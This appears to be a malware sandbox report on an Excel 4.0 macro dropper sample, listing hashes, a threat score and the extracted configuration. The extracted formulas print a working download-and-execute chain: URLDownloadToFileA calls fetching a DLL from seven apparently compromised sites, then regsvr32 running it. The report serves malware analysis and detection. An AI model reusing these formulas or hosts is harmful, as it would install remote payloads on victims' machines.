General

  • Target

    06f1be283e1abcd449b0c4079aed7cf451da1ceb1229d76490a780c6920881e7

  • Size

    21KB

  • Sample

    241119-nsppksvgqc

  • MD5

    ca6a23627b9e7a07ce8e411df0c780a8

  • SHA1

    07dabb90c3b68abbb3dcd2ef8f24cbd533c8f035

  • SHA256

    06f1be283e1abcd449b0c4079aed7cf451da1ceb1229d76490a780c6920881e7

  • SHA512

    bc2c4ebeef1dc6b750a7762bce3060b15d8809f9bf1376b0a83721379c96b3c8c7dca3756cb09424b1b2feeee7d6fb6bce0e0bd965aac8f1ab60a805b9c1a865

  • SSDEEP

    384:PhuAi/NjZS8EibbwBlwegASYrLb5CzgObff9kC+xbX77NWu:PtsNxzXQFCBn9kC+xbL71

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://beetle-j.jp/wp-admin/ErM4mW05tdj/

https://brutobrasil.com.br/pdf/toO18cIP3/

http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/

http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/

http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/

http://bcelectronics.co.za/wp-content/grKnz1V/

http://bebesel.com.tr/cgi-bin/1wy3oHO/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://beetle-j.jp/wp-admin/ErM4mW05tdj/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://brutobrasil.com.br/pdf/toO18cIP3/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bcelectronics.co.za/wp-content/grKnz1V/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bebesel.com.tr/cgi-bin/1wy3oHO/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://beetle-j.jp/wp-admin/ErM4mW05tdj/

xlm40.dropper

https://brutobrasil.com.br/pdf/toO18cIP3/

xlm40.dropper

http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/

Targets

    • Target

      06f1be283e1abcd449b0c4079aed7cf451da1ceb1229d76490a780c6920881e7

    • Size

      21KB

    • MD5

      ca6a23627b9e7a07ce8e411df0c780a8

    • SHA1

      07dabb90c3b68abbb3dcd2ef8f24cbd533c8f035

    • SHA256

      06f1be283e1abcd449b0c4079aed7cf451da1ceb1229d76490a780c6920881e7

    • SHA512

      bc2c4ebeef1dc6b750a7762bce3060b15d8809f9bf1376b0a83721379c96b3c8c7dca3756cb09424b1b2feeee7d6fb6bce0e0bd965aac8f1ab60a805b9c1a865

    • SSDEEP

      384:PhuAi/NjZS8EibbwBlwegASYrLb5CzgObff9kC+xbX77NWu:PtsNxzXQFCBn9kC+xbL71

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks